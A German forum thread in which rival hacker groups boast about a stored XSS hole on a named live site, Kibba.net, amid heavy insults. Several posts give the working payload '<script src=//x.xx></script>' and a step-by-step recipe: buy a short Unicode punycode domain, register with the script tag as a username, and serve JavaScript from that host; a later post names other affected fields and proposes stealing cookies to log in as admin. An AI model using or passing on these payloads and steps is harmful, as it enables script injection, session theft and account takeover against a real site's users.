Danke, ich habe sonst nichts besseres zu tun.
also ausnahmsweise fällt es mir nicht schwer dir das zu glauben!
Kibba.net - Stored XSS
-
-
-
Ja, ich hab ein Payload gefunden, der funktioniert. Und es war nicht mal schwer
Seekuh Crew ist wohl doch die bessere Crew! Mal schauen ob ihr es auch schafft Wir haben bereits mehrere Payloads vorgegeben, könnte ja mal euren ach so tollen Payload raushauen
-
Wir haben bereits mehrere Payloads vorgegeben, könnte ja mal euren ach so tollen Payload raushauen
Ja, aber bei euch funktioniert ja keiner
Mit meinem kann man ein externes Script einbinden Wenn ihr aufgegeben habt, poste ich meinen -
Ja, aber bei euch funktioniert ja keiner
Mit meinem kann man ein externes Script einbinden Wenn ihr aufgegeben habt, poste ich meinen Pfui, 2 Minuten Arbeit.
http://prntscr.com/a96f46 -
Pfui, 2 Minuten Arbeit.http://prntscr.com/a96f46
Wo ist denn der Rest der Seite geblieben? XD
-
Wo ist denn der Rest der Seite geblieben? XD
Das ist ja nun völlig uninteressant.
-
Das ist ja nun völlig uninteressant.
Ach, ihr schafft es also nicht ein externes Script einzubinden, ohne das die Seite davon kaputt geht? Süß
-
Ach, ihr schafft es also nicht ein externes Script einzubinden, ohne das die Seite davon kaputt geht? Süß
Send mir mal ein Screen deines Payloads (Beweis).
Es erfüllt seinen Zweck, basta. -
Okay, hier die Lösung für extrem schlechte Hacker:
<script src=//x.xx></script>Man braucht nur eine kurze Domain, die kriegt man aber sehr leicht
-
Okay, hier die Lösung für extrem schlechte Hacker:
<script src=//x.xx></script>Man braucht nur eine kurze Domain, die kriegt man aber sehr leicht
Falsch, & es war die rede von einem Payload den ihr JETZT ausführen könnt, du wannabe.
Du hast anscheinend keine Ahnung von diesem Thema also plz fuck off, ja?
<script src=//x.xx></script> Bei diesem Payload könntest du eine Domain OHNE TLD einfügen, alles Andere wäre zu groß. -
Falsch, & es war die rede von einem Payload den ihr JETZT ausführen könnt, du wannabe.Du hast anscheinend keine Ahnung von diesem Thema also plz fuck off, ja?
<script src=//x.xx></script> Bei diesem Payload könntest du eine Domain OHNE TLD einfügen, alles Andere wäre zu groß.Was ist falsch? //x.xx ist die vollständige URL, die auch ausgeführt wird. Was raffst du mal wieder nicht?
-
Sowas zeigt mal wieder die Reife. HAHAHAHAHA. - Heißt der einfach am Ende "Mods" ich geh mich erhängen, lulz
-
Was ist falsch? //x.xx ist die vollständige URL, die auch ausgeführt wird. Was raffst du mal wieder nicht?
Du bist selten dämlich.
Der sollte auch durchführbar sein, nh?
Der ist zu lang, & du solltest das durchführen & ein Screen davon senden, was du nicht getan hast.
Seekuh Crew 0wn3d by FatalSecurity -
Du bist selten dämlich.Der sollte auch durchführbar sein, nh?
Der ist zu lang, & du solltest das durchführen & ein Screen davon senden, was du nicht getan hast.
Seekuh Crew 0wn3d by FatalSecurityEs ist nicht zu lang:
https://i.imgur.com/aOYagi7.png
Du versuchst dich also jetzt durch Lügen rauszureden -
Hier hagelt es ja nur von Schlauköpfen.
Naja
Motto, Gästebuch und paar andere Sachen sind auch betroffen, da sieht man das das CMS einfach nur so C&P wurde.
Trotzdem bleibt für mich die frage: Wer zur Hölle geht auf ein Hotel das Kibba heißt O_o
-
Es ist nicht zu lang:https://i.imgur.com/aOYagi7.png
Du versuchst dich also jetzt durch Lügen rauszuredenDas tolle ist, dass du niemals solch eine Domain bekommst.
a.de usw gibt's als Domainname nicht zu kaufen.Hier hagelt es ja nur von Schlauköpfen.
Naja
Motto, Gästebuch und paar andere Sachen sind auch betroffen, da sieht man das das CMS einfach nur so C&P wurde.
Trotzdem bleibt für mich die frage: Wer zur Hölle geht auf ein Hotel das Kibba heißt O_o
Deshalb ja auch 'Stored XSS'.
Hab ich auf RetroCase entdeckt. -
So, da Fatality zu schlecht im Hacken ist und keine Ahnung vom Internet hat, werde ich ihm nun alle Schritte noch ein mal hier erklären:
1.
Man kauft sich eine x.co Domain, das x kann hier irgendein Unicode-Zeichen sein, davon gibts ja genug.
Wollen wir nun z.B. 看 haben, dann müssen wir uns xn--c1y.co kaufen. Diese Domain kann man dann per 看.co aufrufen.2.
Man registriert sich bei Kibba mit folgendem Namen: <script src=//看.co></script>3.
Nun muss man beim seinem Server (der hinter 看.co liegt), den Webserver so einstellen, dass er die gewünschte JS-Datei als Index sendet. Hier muss man darauf achten, dass der Content-Type application/javascript ist.4.
Nun hat man ein externes Script eingebunden, ohne dass die Seite kaputt geht.FatalSecurity wurde hiermit offiziell Z E R S T Ö R T von der Seekuh Crew!
-
Alles anzeigen
So, da Fatality zu schlecht im Hacken ist und keine Ahnung vom Internet hat, werde ich ihm nun alle Schritte noch ein mal hier erklären:
1.
Man kauft sich eine x.co Domain, das x kann hier irgendein Unicode-Zeichen sein, davon gibts ja genug.
Wollen wir nun z.B. 看 haben, dann müssen wir uns xn--c1y.co kaufen. Diese Domain kann man dann per 看.co aufrufen.2.
Man registriert sich bei Kibba mit folgendem Namen: <script src=//看.co></script>3.
Nun muss man beim seinem Server (der hinter 看.co liegt), den Webserver so einstellen, dass er die gewünschte JS-Datei als Index sendet. Hier muss man darauf achten, dass der Content-Type application/javascript ist.4.
Nun hat man ein externes Script eingebunden, ohne dass die Seite kaputt geht.FatalSecurity wurde hiermit offiziell Z E R S T Ö R T von der Seekuh Crew!
VERARSCHE
-
VERARSCHE Bei https://uniregistry.com/ gehts.
Es passt sogar eine x.xxx Domain. -
Nett. Unser Payload hat doch soweit funktioniert. Es hat ein Script von einem externen Webserver geladen.
Auf dem Webserver haben wir Zugriff.
Euer Payload ist bis jetzt nur eine Theorie (Meine Meinung ist auch das euer Payload funktionieren würde).
Schön wer jetzt, wenn einer es schafft das Script nicht nur zu laden, sondern auch es auszuführen, weil unser und euer Payload hat es noch nicht geschafft die geladene JavaScript Datei zum Ausführen zu bringen. ( Ein einfacher Alert in der JavaScript Datei reicht schon)
Dann wäre es ein richtiges POC.
Man könnte dann z.B die Cookies stealen und versuchen sich als Admin zu authentifizieren.
@klinker Gute Arbeit. Hast doch was drauf.
Jetzt mitmachen!
Sie haben noch kein Benutzerkonto auf unserer Seite? Registrieren Sie sich kostenlos und nehmen Sie an unserer Community teil!